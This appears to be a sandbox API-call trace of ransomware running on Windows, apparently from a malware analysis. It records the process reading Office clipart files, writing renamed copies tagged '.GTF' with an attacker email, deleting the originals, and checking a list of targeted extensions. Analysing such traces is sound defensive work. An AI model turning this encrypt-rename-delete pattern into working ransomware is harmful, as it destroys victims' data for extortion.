	[0086.198] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.198] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.198] SetEndOfFile (hFile=0x37c) returned 1
	[0086.199] CloseHandle (hObject=0x37c) returned 1
	[0086.199] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.199] SetEndOfFile (hFile=0x390) returned 1
	[0086.200] CloseHandle (hObject=0x390) returned 1
	[0086.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1
	[0086.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0086.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0086.200] lstrlenW (lpString=".doc") returned 4
	[0086.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.200] lstrlenW (lpString=".docx") returned 5
	[0086.200] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.200] lstrlenW (lpString=".pdf") returned 4
	[0086.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.200] lstrlenW (lpString=".xls") returned 4
	[0086.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.200] lstrlenW (lpString=".xlsx") returned 5
	[0086.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.200] lstrlenW (lpString=".ppt") returned 4
	[0086.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0086.200] lstrlenW (lpString=".zip") returned 4
	[0086.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.201] lstrlenW (lpString=".rar") returned 4
	[0086.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.201] lstrlenW (lpString=".bz2") returned 4
	[0086.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.201] lstrlenW (lpString=".7z") returned 3
	[0086.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0086.201] lstrlenW (lpString=".dbf") returned 4
	[0086.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0086.201] lstrlenW (lpString=".1cd") returned 4
	[0086.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0086.201] lstrlenW (lpString=".jpg") returned 4
	[0086.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0086.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0086.201] lstrlenW (lpString=".doc") returned 4
	[0086.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.201] lstrlenW (lpString=".docx") returned 5
	[0086.201] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.201] lstrlenW (lpString=".pdf") returned 4
	[0086.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.201] lstrlenW (lpString=".xls") returned 4
	[0086.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.201] lstrlenW (lpString=".xlsx") returned 5
	[0086.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.201] lstrlenW (lpString=".ppt") returned 4
	[0086.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0086.201] lstrlenW (lpString=".zip") returned 4
	[0086.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.201] lstrlenW (lpString=".rar") returned 4
	[0086.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.201] lstrlenW (lpString=".bz2") returned 4
	[0086.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.201] lstrlenW (lpString=".7z") returned 3
	[0086.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0086.202] lstrlenW (lpString=".dbf") returned 4
	[0086.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0086.202] lstrlenW (lpString=".1cd") returned 4
	[0086.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0086.202] lstrlenW (lpString=".jpg") returned 4
	[0086.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.202] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.202] lstrlenW (lpString="DD01168_.WMF") returned 12
	[0086.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.203] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2004) returned 1
	[0086.203] CloseHandle (hObject=0x390) returned 1
	[0086.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220
	[0086.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.203] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.203] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.203] GetLastError () returned 0x0
	[0086.203] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x7d4, lpOverlapped=0x0) returned 1
	[0086.205] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x7e0, lpOverlapped=0x0) returned 1
	[0086.206] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.206] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.206] SetEndOfFile (hFile=0x37c) returned 1
	[0086.206] CloseHandle (hObject=0x37c) returned 1
	[0086.206] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.206] SetEndOfFile (hFile=0x390) returned 1
	[0086.207] CloseHandle (hObject=0x390) returned 1
	[0086.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1
	[0086.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0086.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0086.208] lstrlenW (lpString=".doc") returned 4
	[0086.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.208] lstrlenW (lpString=".docx") returned 5
	[0086.208] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.208] lstrlenW (lpString=".pdf") returned 4
	[0086.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.208] lstrlenW (lpString=".xls") returned 4
	[0086.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.208] lstrlenW (lpString=".xlsx") returned 5
	[0086.208] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.208] lstrlenW (lpString=".ppt") returned 4
	[0086.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0086.208] lstrlenW (lpString=".zip") returned 4
	[0086.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.208] lstrlenW (lpString=".rar") returned 4
	[0086.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.208] lstrlenW (lpString=".bz2") returned 4
	[0086.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.208] lstrlenW (lpString=".7z") returned 3
	[0086.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0086.208] lstrlenW (lpString=".dbf") returned 4
	[0086.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0086.208] lstrlenW (lpString=".1cd") returned 4
	[0086.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0086.208] lstrlenW (lpString=".jpg") returned 4
	[0086.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0086.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0086.209] lstrlenW (lpString=".doc") returned 4
	[0086.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.209] lstrlenW (lpString=".docx") returned 5
	[0086.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.209] lstrlenW (lpString=".pdf") returned 4
	[0086.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.209] lstrlenW (lpString=".xls") returned 4
	[0086.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.209] lstrlenW (lpString=".xlsx") returned 5
	[0086.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.209] lstrlenW (lpString=".ppt") returned 4
	[0086.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0086.209] lstrlenW (lpString=".zip") returned 4
	[0086.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.209] lstrlenW (lpString=".rar") returned 4
	[0086.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.209] lstrlenW (lpString=".bz2") returned 4
	[0086.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.209] lstrlenW (lpString=".7z") returned 3
	[0086.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0086.209] lstrlenW (lpString=".dbf") returned 4
	[0086.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0086.209] lstrlenW (lpString=".1cd") returned 4
	[0086.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0086.209] lstrlenW (lpString=".jpg") returned 4
	[0086.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.209] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.210] lstrlenW (lpString="DD01169_.WMF") returned 12
	[0086.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.210] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2020) returned 1
	[0086.210] CloseHandle (hObject=0x390) returned 1
	[0086.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220
	[0086.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.210] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.210] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.211] GetLastError () returned 0x0
	[0086.211] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x7e4, lpOverlapped=0x0) returned 1
	[0086.212] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0086.214] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.214] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.215] SetEndOfFile (hFile=0x37c) returned 1
	[0086.215] CloseHandle (hObject=0x37c) returned 1
	[0086.215] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.215] SetEndOfFile (hFile=0x390) returned 1
	[0086.216] CloseHandle (hObject=0x390) returned 1
	[0086.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1
	[0086.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0086.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0086.216] lstrlenW (lpString=".doc") returned 4
	[0086.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.216] lstrlenW (lpString=".docx") returned 5
	[0086.216] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.216] lstrlenW (lpString=".pdf") returned 4
	[0086.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.216] lstrlenW (lpString=".xls") returned 4
	[0086.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.216] lstrlenW (lpString=".xlsx") returned 5
	[0086.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.216] lstrlenW (lpString=".ppt") returned 4
	[0086.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0086.216] lstrlenW (lpString=".zip") returned 4
	[0086.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.217] lstrlenW (lpString=".rar") returned 4
	[0086.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.217] lstrlenW (lpString=".bz2") returned 4
	[0086.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.217] lstrlenW (lpString=".7z") returned 3
	[0086.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0086.217] lstrlenW (lpString=".dbf") returned 4
	[0086.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0086.217] lstrlenW (lpString=".1cd") returned 4
	[0086.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0086.217] lstrlenW (lpString=".jpg") returned 4
	[0086.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0086.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0086.217] lstrlenW (lpString=".doc") returned 4
	[0086.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.217] lstrlenW (lpString=".docx") returned 5
	[0086.217] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.217] lstrlenW (lpString=".pdf") returned 4
	[0086.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.217] lstrlenW (lpString=".xls") returned 4
	[0086.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.217] lstrlenW (lpString=".xlsx") returned 5
	[0086.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.217] lstrlenW (lpString=".ppt") returned 4
	[0086.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0086.217] lstrlenW (lpString=".zip") returned 4
	[0086.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.217] lstrlenW (lpString=".rar") returned 4
	[0086.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.217] lstrlenW (lpString=".bz2") returned 4
	[0086.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.217] lstrlenW (lpString=".7z") returned 3
	[0086.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0086.218] lstrlenW (lpString=".dbf") returned 4
	[0086.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0086.218] lstrlenW (lpString=".1cd") returned 4
	[0086.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0086.218] lstrlenW (lpString=".jpg") returned 4
	[0086.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.218] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.218] lstrlenW (lpString="DD01170_.WMF") returned 12
	[0086.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.218] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2404) returned 1
	[0086.218] CloseHandle (hObject=0x390) returned 1
	[0086.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220
	[0086.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.219] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.219] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.219] GetLastError () returned 0x0
	[0086.219] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x964, lpOverlapped=0x0) returned 1
